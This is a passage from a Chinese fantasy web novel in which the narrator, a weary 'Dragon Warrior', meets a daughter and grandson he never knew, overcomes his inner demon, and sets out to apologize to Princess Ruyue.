
“克莱亚?你的爸爸妈妈也住在这�吗?”

“是啊!不过爸爸几天前进城买东西去了,要过几天才会回来!”

我弯下腰抱起这个叫维特的小男孩,让他坐上我的肩膀,走向远处的村落,我相信在那�可以找到答案。

※※※ ※※※ ※※※ ※※※ ※※※

一进村子,我就看到尼诺来过的证据,村口的水井旁,立着一座石像。石像明显是不久前才完成的,石像呈蹲坐姿态,右手托着下巴支在膝盖上,摆出一副正在沈思的模样,它的面孔正是尼诺自己的样子。这是那个臭屁自恋的臭小子的习惯,每到一个新地方,不管别人喜欢不喜欢,他都会在当地留下一具自己的作品充当纪念。

看着尼诺的作品,我心�轻哼了一声。

“真是难得啊!那家伙居然有穿衣服!”

这是一个和外面世界几乎完全隔绝的村子,泥瓦房,水车、磨坊、养牛场,在伯尔达已经看不到的东西在这儿却随处可见。“古老的,近乎自给自足的小山村”是这�最好的写照,除了外面有亲戚因探亲而来访外,这个村子几年也难得看到一个外人。

我这个长头发陌生人的到来立刻打破了村原有的平静,几乎是在我踏进村口的一瞬间,整个村子的节奏一下子就被我打乱了。喂牛的老人,噼柴的青年人,正在玩耍的孩子,甚至连那个在水井边打水年青女子,全都停了手中的活计,不约而同地将目光投到了我的身上。

我是很反感被人象瞧猴子一般盯着看的感觉,不过和心思复杂的城�人不同的是,这儿的人的眼睛都很纯真,他们清澈的眼神让我回忆起了三十年多前我带着安达回到故居时的情形,那时那�的人也是这看着我们的,而且那时那�的环境和此处也十分地相似。

“嗨,一切都已物似人非……”

当我忍不住又沈浸在过去的回忆�时,我怀�的维特冲着村头的第三座房子大叫道:“妈妈,来客人了!是一位白头发的叔叔!”

几秒后,那扇厚实的木门在咯吱声中缓缓打开,门后现出一位年青妇女,头上包着很传统的头巾,容貌倒是十分清秀,由额前露出的发丝我判断出她的头是黑色的,而她的眼睛为紫色,黑发紫眼,这是拥有黑魔族血统的混血人类最明显的特征。从外表上看她最多只有二十岁,不过拥有黑魔族血统的混血人类青春期极长,我用了点探测魔法,判断出她的实际年龄约在三十岁左右。

女子看了我一眼,怔了一下,眉头一皱,不满地对她喊道:“维特,快点下来,去给叔叔倒水!”

我留意到,她在说到“叔叔”这个词时,中间明显地停顿了一下。

对于这个女人,她给我的“亲切感”和我怀�这个维特的小孩给我的感觉极相似,更重要的是,她给我一种似曾相识的感觉。

虽然心�有着很大的疑问,但我还是摆出一副陌生的来访者姿态,放下维特后,我把右手放在胸口一躬身,自我介绍道:“你好,我叫……希安。贝蒂,我是一个旅行者……”

因为达克。秀耐达这个名字太出名了,所以我用了假名,希安是我为我和希拉的孩子所取的名字,贝蒂则是我母亲的姓。

“很高兴见到你,贝蒂先生!我叫……你还是称唿克莱亚夫人好了!”

对面这个女子朝我礼节性点点,然后将迎了进了家门。

几句客套的寒暄过后,我坐在了小维特兴冲冲为我搬来的椅子上,而女主人则为我沏上了一壶热茶。当我端起茶杯细细品味时,小维特则睁着好奇的眼睛看着我,显得十分地兴奋。

这个自称为克莱亚夫人的女人走过来,拉住小维特,在他耳边轻声道:“维特,你到隔壁的肖恩叔叔家告诉他我们家�来了客人,向他要两块牛排来,!”

“哦,妈妈,晚上我们吃牛排吗?太好了!”

微笑着看儿子地兴冲冲地跑出门,克莱亚夫人随即将那扇笨重的木门合上,并且插上了插梢。

当她转过来面对着我时,脸上的微笑已全部敛去,接着她翕动的双唇吐出了令我无比震惊的问候语:“欢迎到来,我的父亲大人!”

咣当一声,我手中的杯子掉到桌上,茶水溅了一身……

※※※ ※※※ ※※※ ※※※ ※※※

被对方直唿“父亲大人”时,那一刻我差点想要撞破克莱亚身后的大门落荒而逃,可惜对方的眼神却牢牢地钉住了我的身体。

“你想逃走?你逃避整整二十年了,到这个时候,你还想再逃到哪�去?”

类似的话,小克�斯汀也曾说过。

“你……”

用了很长时间才回过神来,我死死地盯着对方的脸,脑子拼命地在过去的记忆库搜寻着。我差一点就把“你的母亲是谁?”这个愚蠢的问题问了出来。

那颗总是作怪的心脏这时也跳得相当地快,令我自己都感觉到意外的是,在这个时候我居然能够冷静地思考。

“从她的年龄上推断,还有她的黑魔族血统……”

一个生疏得几乎被我忘却的名字跳了出来。

“你的母亲是艾丽莎?”

我想起来了,那个和我有一夜之缘,名字叫艾丽莎的女孩,她的父亲是风都十虎,还有发生在神龙广场上的那场恶斗,时间,应当是近三十年前!对了,还有九凝当年我批命时翻出的第一张塔罗牌,当时牌面上的内容就是一个抱着孩子喂奶的女人,她那时告诉过我我作爸爸了。

对方没有答我,冷冷地看着我,两道目光象利刃般插入我的眼睛,一直深到我的灵魂之中,仿佛要我心灵深处所有的秘密全都挖出来。

面对着这个称我为“父亲大人”的女人,我再次感到害怕,又一次开始考虑是否要马上逃走。

我战战兢兢地问道:“她还好吗?”

对方淡淡地答我道:“就在前年,她和父亲一起去世了!”

“父亲?”

她的脸上无悲无喜,平静地答我道:“当年妈妈离开风都后,就搬到这个村子�住下,后来她遇到了父亲,一个她爱也爱她的男人……他们一直都很幸福,不过三年前村子�闹瘟疫,他们一起病逝了。”

我不知道该怎么回答,对于那个和我只有一夜之缘的女子,凭良心论,我对她实在是没有什么感情。这二十年来,除了抚摸尼诺和弗莱娅这对子女外,我大部分的时间都沈浸在过去的回忆中,但回忆起艾丽莎时的次数并不多。

我沉默了,半晌,我才小心翼翼地问道:“那么那小维特,他应当是我的……”

对面,这个血缘上是我的女儿的女人打断了我的话,继续冷漠地道:“他是我的儿子!我现在跟我丈夫姓!”

我发现让我感到害怕不敢面对的女人,现在又多了一个。

我小心地试探道:“我,我该怎么称唿你?”

“村�的人都称唿我为克莱亚夫人,你是一个外来的客人,也应当这样称唿我。”

嘴�答着我的提问,克莱亚却转身拉开插梢打开了刚刚被关上的门,光线由屋外射入,我却连逃走的勇气都失去了。

※※※ ※※※ ※※※ ※※※ ※※※

我和克莱亚隔着一张桌子,东一句西一句地交谈着,气氛异常尴尬。

在亲生骨肉面前,我的嘴的变得很笨,因为尴尬的“父女”关系,所以我们的交谈也同样地尴尬。

“你,这些年来,过得还好吧?”

很糟糕的开场白,但除此之外,我不知道该怎么开始。

“这�的人比外面的人纯洁多了,在见到父亲大人之前,我一直都过得很幸福。”

“啊?……我明白了……对不起……”

“你没必要说对不起!因为你根本不知道这世上还有我这个女儿存在,不是吗,父亲大人?”

克莱亚一口一个父亲大人,听得我非常难受,面对她的咄咄逼人的攻势,我根本无力招架。这时我总算有些明白,为什么从前当弗莱娅称唿卡尤拉为母亲大人时,她会那么不高兴了。

我转移话题道:“你刚才提到尼诺,他不久前来过这�?”

“尼诺?是说我的弟弟吗?他可是一个很有意思的男孩子。他怎么知道有我这个姐姐住在这儿?他说是他的叔叔告诉他的!你这个当父亲的,还不如他的叔叔呢!”

在我面前,克莱亚的态度一直很冷淡,不过当我提起尼诺时,她的脸上本能露出一丝会心的微笑,想必那段日子�,尼诺和她处得很不错,但对我她的态度却不是太好,总是不忘记中在话�随时刺我一记。

我苦笑道:“尼诺的叔叔?是那家伙啊,他的叔叔,可是魔神啊!他还活着的时候,一直象在看戏似地笑看着我的故事……他确实比我强!”

克莱亚语带讽刺地笑笑:

“尼诺的叔叔居然是魔神?我差点忘记了,父亲大人你是龙战士啊!非常之人必有非常家庭,我们真是两个世界的人啊!”

说到这�,克莱亚将目光投向屋外,我顺着她的目光的角度看去,映入眼帘的是明净的蓝天,这�的天空确实要比伯尔达洁净得多。

我不知道该怎么将对话进行下去,克莱亚却没有再讥刺我,在我想要发出告别之辞前,她对我说道:“维特的父亲要三天后才会回来,在这之前,你可以一直住在这儿。”

“你的意思是……”

“毕竟你是出名的大人物,这�的生活很平静,我不想……”

后面的话克莱亚没有说出来,但从她拉长的语气�,我已经明白她的意思。

我计算了一下时间,自己的身体,在那个时候差不多也要崩溃。如月和小克�斯汀联手,也只能在最终回复咒文的效力消失前,暂时压制住两极合一的反噬罢了。这儿青山绿水,有如人间仙境般美丽,倒也是一个埋骨的好去处。

我松了口气,信誓旦旦地保证道:“你放心,我一定会在合适的时间离开,不会给你带来太多的困扰的!”

于是,我就这样以客人的身份留宿在了“女儿”的家�,而我的外孙,则是一口一个叔叔地冲着我叫喊着,那种感觉实在怪异。

“叔叔,我想听故事!”

当克莱娅准备晚餐的时候,小维特缠着我,要我给他讲故事。有过弗莱娅的经验,哄小孩子对我来说本不是太难的事情,但是小维特的要求,却让我有些难以招架。

“我想听关于龙战士的故事。”

“龙战士?不过是一群被命运玩弄的可怜虫罢了,他们的故事,有什么好说的?”

这些年来,我总是竭力避免想起过去的事情,竭力地想要忘记自己的身份,要我回忆过去,揭开那些被岁月暂时掩盖的伤疤,这对我来说实在是难以做到的一件事情。

我在第一时间就拒绝了,但小维特却缠着我,撒娇似地抓着我的手左右摆动着。

“我就想听嘛!我想听的是,关于现在的皇帝,达克。秀耐达的故事!尼诺哥哥前些日子住这儿的时候,给我和我的朋友,说了很多关于他的故事!不过,他没有讲完故事就走了,临走前哥哥告诉我说,过一阵子,会有一个白头发的阿姨,啊,不对,是叔叔会来这儿,把接下来的故事说完。”

又是尼诺!从头到尾,这个臭小子一直都在偷偷地算计着我。对于这个便宜儿子,我一点都看不透他,他的老师小克�斯汀也一样没有看明白他。他虽然拜小克�斯汀为师,可是,除了请教一些栽花种草的技巧外,沧海龙一脉最擅长的魔法却半点都没有学会。不是小克�斯汀不想教,而是他压根就没学过。

但我和小克�斯汀从来没有小看过这家伙,在我们眼�,这个平时总是疯疯癫癫行事怪异的臭小子,其实潜力无穷,深不可测,这是我和小克�斯汀对他一致的注解。卡尤拉总是担心尼诺的未来,其实是她多心了。

“叔叔,给我讲嘛!”

当我发呆地想着尼诺的时候,小维特仍然抓着我的右手不停地哀求,看着可怜兮兮仿佛要哭出来的眼睛,我忽然想起了女儿弗莱娅,记得她小时候伏在我怀�撒娇的时候,也是这样的眼神的。

“好吧,你真的想听,那我就讲吧!”我妥协了。

“从哪�讲起?你的尼诺哥哥走的时候,他说到哪了?”

“他说到达克皇帝和魔族皇帝斯罗在天之裂痕的第一次决斗!当时他被魔族皇帝挖出了心脏……”

我脸色骤变,这真是哪壶不开提哪壶,又是我心�最痛的,最不愿意想起的事!尼诺,你精心为我准备了这一切,是要逼我去直面那些伤痕吗?

“叔叔,达克皇帝没有了心脏,他后来是怎么活过来的?尼诺哥哥没有告诉我,他说要你来说……啊,算了,叔叔你心情不好,还是别说了!”

我越来越难看的脸色,到底还是让小维特留意到了,他闭上了嘴,甚至有些害怕松开手,坐到对桌子对面的椅子上,怯生生的看着我。

我知道我刚才的脸色吓到小孩子,我可以对小拉法恶声恶气,却无法对这个新认的外孙保持着铁石心肠。几乎就在觉察到他脸上表情的瞬间,我就以最快的速度重组了面部的肌肉,摆出一副最和善的笑容:“叔叔的心情没有不好……叔叔最喜欢小维特了,好吧,叔叔现在就给你讲后面的故事。”

“达克皇帝他没有死,因为就在他的心被打碎后不久,有个世界上最爱他的女人,用她的生命为代价,为他重造了一颗心脏!”

说出这话时,我知道我脸上的笑容一定比哭还难看。逃避了二十年,已经无处可逃的我,终于还是不得不在自己的外孙面前,去面对自己从前犯下的过错。

堤坝决了个口子,汹涌而出的洪水就再也拦截不住,记忆也是如此。

过去的事,不管是美好的,伤心的,痛苦的,懊悔的,这二十年来一件我都不愿意想起,这二十年来,我为自己做了个壳躲进去,妄想将过去完全截断。但妄想终究还是妄想,该来的总要来,无法逃避的终有必须面对的一天。

接下来的一整个晚上,我被小维特缠着,象掏豆子一般地,不得不打开自己尘封多年的记忆库,将不愿想起和提起的往事一件一件地说出。

当我说到托布鲁克要塞攻防战那一章之时,夜已经很深了,小维特坐在小板凳,双手托着下巴靠在我的膝盖上依旧听得津津有味。直到她的母亲,我的女儿发出的不满的声音,要他上床睡觉时,才悻悻地离去。这个晚上,她几乎没有和我主动地说过话,只是做为一个听众,静静地在边上旁听着,从不发表意见。

我本以为说起自己的过去会很痛苦,但对着一个天真的孩子,和一个与我有最亲近血缘的女儿提起那一切时,心中的痛并没有想象中那么大。

“妈妈,晚上我要和叔叔一起睡!”

“和叔叔一起睡可以,但晚上不准你再缠着叔叔讲故事!不允许影响叔叔休息!”

“知道啦,老妈!”

“不要嘴上一套背后一套,上次你就是这样缠着尼诺哥哥的!你肚子�有多少虫子我很清楚,要是晚上再缠着叔叔影响他休息,小心我打你屁股!”

小孩子的伎俩理所当然地被母亲识破了,看着女儿对外孙故作严厉地训话的样子,我的脑海中突然出现了一个类似的场景,同样是不肯睡觉缠着父亲要他说故事小男孩,边上还有一个板着脸训话要他早点睡觉的母亲,他们的面孔,一个是希拉,另一个是希安,我们那个还没有出生就死去的孩子……

“是的,是那个还没有出生就死去的孩子,希安!”

完全是在毫无意识中,两滴泪水从我的眼眶�落下来,滴在了手背上。

“希安,其实他从来就没有出生过!希安,其实他只是我人格分裂而产生的幻觉!希安,其实他只是我凭空幻想臆造出来的一个虚像!”

其实我早就知道,希安根本就不存在!只是这二十年来一直在自己骗自己罢了!

一滴,两滴,然后是喷泉般不停地涌出。我用二十年的时间结出的硬壳,却在这短短的半天时间�被击得粉碎,没有了那层硬壳的保护,暴露于外的心脏其实是那么地脆弱,以至于无比失态地在自己的女儿和外孙面前痛哭流涕。

“呜,叔叔别哭,一定是小维特不好,惹叔叔伤心了!”

我大声哭泣着,受我影响,小维特也跟着哭了起来,他抓着我的手不停地道歉着。我弯下腰抱起外孙哭得更凶了。

女儿一直静静地看着我们祖孙俩,她虽然没有流泪,眼睛�却也有水光在闪烁。半晌,她从怀�掏出一块手帕递给我。

“好了,你也老大不小了!我原谅你了!别象小孩子一样再哭了!”

我接过手帕,却顺势把女儿的手抓住。

“今晚,陪我好吗?”

我需要一根稻草,一块木板,一个最亲近的亲人,否则我不知道自己该怎么度过这个夜晚。

女儿静静地看着我,我用乞求的目光望着她,小维特�着头,目光在外祖父和母亲脸上来回转了几圈,最后女儿轻轻地点了点头。

山村的夜是宁静的,人们早早就休息了,窗外的灯火早已尽数熄灭。只有我和女儿,以及小维特,围炉共坐。

我继续讲述着三十年来那些我亲身经历的故事,我略去了我对如月大肆施暴的细节,进代之以“惨烈折磨”了事,女儿也许明白一些这其中的玄机,小维特则是听得又哭又笑。十分入神,居然忘了加以评论。

这些故事,对于亲历者如月和我,以及经历过那个时代的人民来说,都是一段段不堪回首的惨痛记忆,但是,现在面对我这个今天刚见面的外孙,我却有一种莫名的宁静感,这是我的女儿带给我的。

三十年来,我从不知晓这个女儿的存在,我无数的女人中,艾丽莎给我留下的印象并不是深刻。没想到,我在这个小山村�见到了自己的血脉。我继续讲述着,忽然心中产生了一个疑惑:难道这些都是尼诺安排好的?!

最近二十年,我和小克�斯汀联手,无数次想看出真实的他,但全部都失败了,最近几年,我开始相信,从小跟路西法混的尼诺确实有他神奇的地方,这些地方是不属于这个世界的,而是属于天上的神。

故事终于讲到了当下,寂静的夜�,女儿静静的坐在我的对面,小维特坐在她的腿上,时哭时笑。五十年的岁月,三十几年的压抑和痛苦,终于得到了一次完整的倾诉。倾诉之后,我感觉自己似乎放下了什么,至少,心魔暂时没有了发作的迹象,我已经无法确定这是不是可悲的事情,二十年来我唯一做的事情就是求死,但是,此刻,我求死的念头似乎没有那么强烈了。

“后来呢?”小维特爬到我的膝盖上,还在追问着。

“后来啊,就到这�见到你了……”我抚摸着小维特的头,心�似乎涌出到一种似乎只在记忆的很遥远的深处才有的一种叫做“温馨”的东西,我的泪水再一次不停地涌出来。我曾经无数次的幻想过把自己的孩子抱在膝盖上抚摸他的头是什么样的感觉,但是我一直没有机会,是的,没有机会。尼诺是个调皮的臭小子,根本无法让我产生这种感觉,至于拉法,我二十年来和他他面的次数寥寥可数,弗莱娅……我虽然对她百般宠爱,但是她毕竟不是我的骨血。“接下来你打算如何呢?爹?”女儿问我。

这个“爹”�没有了开始时“父亲大人”的冷漠和讽刺,多了浓浓的温情,我凝望着她,心�五味杂陈。说句老实话,我已经不大记得艾丽莎长什么样子,但是,眼前的女儿却着实的让我回忆起那段年少轻狂的岁月。“我也不知道会如何了,终极回复咒文已经失效,我现在也不知道自己什么时候会死,会埋骨在哪�。虽然你们的出现,暂时压制了我的心魔,但我还是活不了几天”,顿了下,我低下头思索着,不知道应不应该说,“我快死了。”,说到这�,我�起头来坦然望着女儿。

也许是尼诺曾经对他们说了什么,我的话并未让女儿感到意外,她只是静静的看着我,嘴唇动了动似乎想要说些什么,但最终还是无言。

艾丽莎已经谢世多年,我却在这�找到了自己的亲人,我的女儿,她没有继承我的龙战士的力量,但是,她却是我这些孩子中最让我羡慕的。她从小就在平凡中生长,过着我从小就想过却一直没有过成的日子,宁静,恬淡,健康成长,嫁人,在世外桃园中过着自己幸福的小日子。而我和死鬼老爸这样所谓的天之骄子,龙战士血脉的承袭者,却不得不放弃原本的种种梦想,去沙场征伐,染上一手鲜血,脚踏累累白骨。

在这个宁静的小山村�,我的心魔从未发作过,我心�很清楚,心魔并非就此消失,只是暂时被正面情绪压制住,让我得以在终极回复咒文失效之后,还能苟延残喘。我不知道自己是否应该继续活下去,二十年来我的目标就只有一个:等待死亡。我也曾无数次地设想过弗莱娅亲手杀死我的场景。但是,孩子们的成长,眼前这个女儿的出现,却让我在二十年后多了不少生气。

有些记忆,终究会被尘封。

天空已经放亮了,小村子的人们又开始了一天的劳作,我站在门边,望着这些朴实的人们,小山村�无风雨,他们纯真善良,不关心外面的世界,也没有外面的人与人相处时的那些机谋,我忽然很想永远留在这�,甚至对女儿提出了要求:“我在山上盖一间小房子,就留在这�直到死就好了!”

女儿没说话,我又继续道:“我死了以后,你就将我埋在山上就可以了!”女儿只是默默点了点头,对于能死在这�,死在自己亲人的身边,我感到十分欣慰,过去半生做恶无数的我,能有这样的结局,也未尝不是老天的一种怜悯吧。

女儿站起来抱住我,泪水流进我的脖子�,我抱紧了女儿,泪水也不住的滚落下来。我曾经无数次的紧紧抱着小弗莱娅,那是因为宠爱以及把她当作希拉的化身,而今天,我确实是因为被女儿话中所蕴含的浓浓亲情感动了。

“爸爸,我代替我的妈妈,原谅你了!你也原谅自己,宽恕自己吧!”

那一刻,我再次泪流满面。

我在这�逗留了两天,带着外孙小维特山上山下到处跑,打他想要的野味烤来吃,听他津津有味的述说着“尼诺叔叔”带着他四处淘气作怪的故事。天伦之乐四个字,竟然就这样出现在我的生活中。

在这段日子�,虽然心魔没有再再出,可是我清楚地感觉得到,体内最终回复咒文的效力正在不断减弱,消失中,而身体�崩溃的迹像也越来越严重。

到了第三天,明明昨晚早睡了,可是在清早,我竟嗜睡般地差点醒不过来,直到小维特调皮地用稻草刺激我的鼻孔时,我才在一阵喷涕中霍然而醒。

“叔叔,起床了!太阳照屁股了!”

小维特调皮地把我唤醒后,马上跑去为我端来了一盆洗脸水,望着水中自己不成人样的倒影,再瞧瞧双手上那灰色的尸斑,以及有些浮肿双脚,我已经明白,这个身体的大崩溃近在眼前,我不可能再见到明天的太阳。

“是该离开了!”

我决定不向女儿告别,现在就走,我本想死在这儿,但现在我变主意了。象我这样的人,随便找个地方,挖个坑,然后躺下,这就是我的归宿。至于死后被野狗分尸啥的,我无所谓了。我的罪,我的恶,无论什么结局我都能接受。

爬起来后,我没有吃早饭,甚至没有和小维特告别,给女儿留了一封信后,就悄悄地离开了。我告诉她,如果有机会遇见如月公主,代我向她道歉。正如姐姐梅丽娅所言,其实我的内心根本不恨如月,我只是恨自己,只是不肯承认罢了。

因为身体的缘故,我并没有离开这个村子太远的距离,而是到附近随便找了一座人迹罕至的山,然后又随便找了一块空地之后,随便地挖了一个坑,躺了下去。

我放松了一切精神,闭目,等死……

该结束了!尽管现在的我仍然负债累累,但是一切都该结束了。

【正传第五部:达克心灵失守·第三十六集:希望之星(上卷)】第九章:新生

天渐斩地暗了!

当最后一缕阳光也被地平线吞没的时候,“他”出现了。

“是你?”

从前,每当“他”“出现”在我面前的时候,总是给我带来无尽的痛苦,那种仿佛要将人的灵魂浸在强酸中的痛苦,每次都令我痛不欲生。

我曾经看清过他的面目,他和我长得一模一样,他是我的心魔。

现在,他又一次出现了,就站在挖出的坑旁,冷冷地看着我,而我也平静地望着他。

没有痛苦,没有酸楚,没有从前那种压仰得恨不得将自己开膛破肚的苦闷感。什么都没有,我们俩,只是彼此默默地互看着对方。

看着,看着,直到天空重新露出鱼肚白。

当清晨的第一缕阳光射入我的眼帘,刺激得我本能地眯起眼睛时,和我对望的他突然转过了身去,然后开始下山。

“我居然还活着?”

惊讶之余,我一个鱼跃从坑中跳起,却意外的发现身体状况出乎意料地好:手上的尸斑不见了,体内的两个极端的力量,也彼此相安无事的各自流动着,身体状况是好得不能再好。

“喂?”

我�头,看了看他,喊住他,想对他说些什么,可是他却不理我,只顾埋头下山。

“等一等!”

我在后面叫嚷着,追赶着,无论我怎么加速,可是和他之间的距离却怎么也无法缩短。

他下了山,穿过原野,一直向前走着,我在后面不远也不近,永远无法缩短距离地追赶着,一直追到了一个山村附近。

这是我再熟悉不过的村子了,正是我曾想和安达、希拉一起隐居的村子。

“达秀!”

最令我惊讶的是,在村口处,我居然看到了如月公主。她腆着大肚子,站在村口,右手抚在小腹处,左手高举,脸上挂着我从未见过的温柔的微笑,正召唤着“他”过去。

“他”走到如月面前,轻轻地拥住她的肩膀,那动作象是在轻抚一件精致的瓷器。

“都快生了,你就不要乱跑了!”

他轻声地对如月吁寒问暖的时候,我在一旁看着,象外人一样,也没有人注意到我的存在。

紧接着,更多的熟悉的面孔出现了,有义父,安达,希拉,梅丽娅姐姐,小公主,罗莎、雪芝等等许多人,无论是逝去的还是活着的亲人,凡是我所爱的人,他们都在这�,站在村口,热情地欢迎着这个男人的回来,围着他,大声地说笑,每个人的脸上都很快乐,每个人的脸上都很幸福。

我静望着这一切,泪水又一次嘀嗒嘀嗒地往下落。

我明白了,我终于明白了,原来,这二十年来,一直将我折磨得生不如死的心魔,他并不是什么心魔。其实,他的真面目是我心中的爱,是我对那些美好事物的向往,是那天知道一切的真相后,被我抛弃的东西,他是我心中的善!

而我,我才是一头用恨、怨和不敢面对真实的自我,不敢承认自己错误的懦弱,编造而成的怪物!

他不是心魔,我才是真正的心魔,真正的心魔其实就是我自己!

我确实是不该在这�的!

想通了,明白了,放下了!

我凄然一笑,决定离开这儿。这�的欢声笑语太美好了,也太刺耳了,我这个污秽的存在是不该继续待在这儿污染世界的。

我转过身,默默地想要离去,肩膀上却突然搭上了一只手,我知道是他的手。

我转过头去,想和他说点什么,话刚要出口,却惊讶地发现自己已处在这些所爱的人包围之中,而他已不见了,希拉,安达,如月,周围全是我曾经爱过的人的面孔……

※※※ ※※※ ※※※ ※※※ ※※※

折磨了我二十年的噩梦,结束了!!

带着幸福的美梦,我醒了过来。

天亮了,不,现在才是真正的天亮。当我睁开眼,揉动惺松的眼皮的时候,几只鸟雀鸣叫着拍着翅膀从我身上飞起,同时留下的还有几陀热乎乎地的排泄物,撒了我一身。

我举起右手,食指尖在左手背上一划,拉出一条老长的伤口,鲜血顿时汩汩流出。从前,这样的伤痕会在倾刻间迅速自愈,不过现在他愈合的速度却慢了许多倍。

“已经完全消失了!”

希拉留给我的礼物,守护了我整整二十年的最终回复魔法,此时的效力已完全消失。虽然这种力量令我不得不无耻地活了二十年,但她终究是希拉留给我的礼物,证明她存在过的事物。现在他消失了,那种失落的感觉还是令我难受无比。

“算了,该失去的,总会失去,枯萎的花,还是回归尘土的好!”

一些讯息象发酵般慢慢地由胸口涌出,开始充斥我的大脑,是大魔神路西法生前的记忆。他藏在心脏�的讯息,在我解开了伽锁之后,开始对我开放。

“原来,真相是这样……”

我期待了许久的秘密终于揭开,真相令我惊喜万分,可是我却没有想将她马上拥在怀中的紧迫感。因为我知道,我从前欠的债实在太多了,我还有更重要的事情要去做。

我决定马上回去,做一些必须做的事,但在这之前,我得先向女儿和外孙告别。

当我回到村子�的时候,引发了一场小小的骚动。很快我就在众人异样的目光中发现了骚动原因:我那及腰的白发,不知在何时已完全恢复了黑亮。

我的归来让女儿和小维特惊喜万分,从女儿满意的微笑中,我知道我无需做太多的解释。我在这儿又住了两天,在这期间,我见到了小维特的父亲,一个朴实可靠的青年。听说我是他妻子“失散多年”的父亲,他对我十分热情,女儿能够嫁给他我也很放心。为了不影响他们的生活,我隐瞒了自己的真实身份。

我和女儿女婿一起去祭扫了艾丽莎和她丈夫的坟墓,就在小山村后的小山包上,普普通通的一抔黄土,一座石碑,埋葬着当初和我仅有的一夜情缘。

离开这个小山村时,我剪掉了那头长得吓人的头发,也将这过去二十年噩梦埋在这个山村�,然后回到了伯尔达。

【正传第五部:达克心灵失守·第三十六集:希望之星(上卷)】第十章:道歉

伯尔达的阳光依旧明媚。

当我不再以活死人的心态看世界的时候,这儿的一切似乎都是那么地美好。

伯尔达的中心广场现在改名为雅格丽广场,这是为了纪念当年风都事件惨死在屠刀下的雅格丽,十年前卡尤拉下令以之为命名的,广场正中央的那个大喷泉旁立着的那个右手高举旗帜的女性,原形正是她本人。

雕像是尼诺的作品,他用了一个月的时间雕出了这座高达十米的作品。化身为石雕的雅格丽右手高举旗帜,左手垂在腰间捏成拳状,头向右后倾,嘴微张,似乎正在呐喊着什么。

雕像的脚下黑色大理石座基上刻着一行大字。

“起来,饥寒交迫的人民!”

这是当年正是神龙广场的那群人喊出的口号。

我站在雕像脚下,望着故人的身影,心�百感交集。尼诺就在雕像的另一边,他歪戴着一顶太阳帽,手上拿着一只炭笔正在做素描,一个异常漂亮的女孩正站在不远处,背对着雕像做他的绘画模特。这个女孩我不认识,很明显肯定是我不在的这段日子�落入他的毒手。我的到来,尼诺早已发觉,他却没有打招唿,仍然专心地完成手上的工作。

我也没有打扰他,静望着尼诺完成速画。这种事对尼诺来说是轻车熟路,他很快完成了素描,然后在女孩子高兴的喝彩中,他一手搂着女孩的腰走到我面前,

“玛丽娅,给你介绍一下,这个大叔是我的变态……咳咳,是我的变态老哥!”

“老哥?”

女孩一脸惊讶地看着我,又瞧瞧尼诺,然后象是信了似地点着头。我忍住猛敲尼诺脑袋的冲动,问他道:“弗莱娅呢?”

“她醒来后,没看到你,然后就走了,去阿沙尼亚,听她说她想去拜祭她的父母。”

知道弗莱娅是我的逆鳞,尼诺难得的没有胡闹,正正经经地答了我。

“是吗?她现在一定也面临着两难的选择吧……这样也好,我还有很多事要去做,现在正缺少时间!”

“你准备去见漂亮妈妈的妹妹?”尼诺嘴�的漂亮妈妈,是指梅丽娅,她的妹妹,当然是指如月。

“嗯!”

我哼了一声算是回答。

“需要建议吗?”

“这个……还是我自己去面对吧!”

我来见尼诺,除了问弗莱娅的事外,也有想向他征求意见的想法,但事到临头我还是放弃。在我这噩梦般的二十年�,他是少数能从我封闭的内心世界�掏出东西来的人。

“那太可惜了,本来可是为老爸你想了不少必杀绝技呢!”

尼诺一脸遗憾的表情,而他的新女友则在这时叫了起来:“老爸?你叫他老爸!啊!他是你老爸?啊……”

从女孩惊讶,然后变得兴奋的表情,我知道她已猜出我是谁。其实她早该猜出我的身份,只是因为少了那头标志性的白发后,她一时没有认出来。

烦心的事情还有很多,我不想再在这儿纠缠多久,礼貌告别之后,我也送给了尼诺一句忠告:“游戏人生故然有趣,但这世间最难还的就是感情债。别玩过头了,你看我,二十年前的债到现在还没有还清……”

尼诺摸着脑袋不停地对我傻笑,我知道我的忠告没有太大的用处,不过身为人父,我这个不合格的父亲能做的事也只能是这些。

※※※ ※※※ ※※※ ※※※ ※※※

如果说阳光明媚的伯尔达城是人间天堂,那么,荒芜的雷兹陵园则是阴风瑟瑟的乱葬岗。这�曾是人类历史上最伟大的英雄的埋骨之处,年年都有无数人前来拜祭。不过当年我和如月的惊天一战之后,雷兹的尸身被毁,这�也就荒废了。

我的到来,让梅丽娅很是惊讶,在陵园的入口她拦住了我。

“我是来找如月公主的!”

说出公主这个称唿时,我禁不出生出一种恍如隔世的怪异感觉。多少了,这十八年,因为某些无法避免的原因提起如月时,我对她的称唿都是那个女人的,语气之中从来都是满怀仇恨与怨怼,象今天这样平心静气地称她为如月公主,这还是十八年来的第一次。

现在的我,虽然过往的伤害依然在我身上留下痕迹,但我身上的死气已完全消失不见,梅丽娅只是看了我一眼,立刻就感觉到了我和过去的不同。

我低声道:“过去的噩梦,结束了,我摆脱出来了,姐姐!我不是再来惹事打架的,我只是想和公主说几句话!”

“滚!”

没等梅丽娅回答,陵墓传出一声厉喝,接着我就飞了出去!是如月,她毫不客气地在陵墓内挥拳,一击将我轰飞。

“哇!”

没有躲避,也没有有意识地去防御,更没有最终回复咒文保护我的肉体,如月的这一击,轻易地将我重创。

“别在我面前装可怜,装悔过,不管你说什么,我都不会接受的!”

如月的声音从�飘出来,我听出来了,这当中除了愤怒和仇恨之外,还包含着别的东西。她也是个聪明的女人,我突然一反常态地低调出现,我想说什么,相信她也可以猜出来。

痛,真痛!这是我失去最终回复咒文护身后第一次受伤。从前有她的加持,我哪怕是被挫骨扬灰也可以活过来,无论受再重的伤,肉体承受的痛苦也会被最大可能地削弱。但现没有她的守护了,久违了的剧痛让我再次品尝到了重伤的感觉。

很痛,却并非无法忍受,这样的感觉更让我能感觉自己真实的存在。魔神路西法留给我的心告诉我,拥有八变力量的龙战士,要想最大限度地发挥体内的力量,就必须做到识我,知我,必须直面自己灵魂最深处的光与暗。

魔神路西法留给我的记忆�对我说过:

“你们人类中最伟大的一位贤者曾经说过,所谓的强者,并不是指那些拥有强大力量的人!真正的强者,是经历过痛苦,忍受着痛苦,最后战胜痛苦的人!你,还有那两个小姑娘,你们都曾经经历过非人的痛苦,如果你们能够战胜自己的痛苦,那么这些痛苦将成为你们力量最大的源泉。”

对于我来说,要低下头向如月剖析自己内心中的暗,这同样也一种试炼。以我性格,要是从前的我,大概会是明知自己错了却仍然要硬撑下去顶着吧。

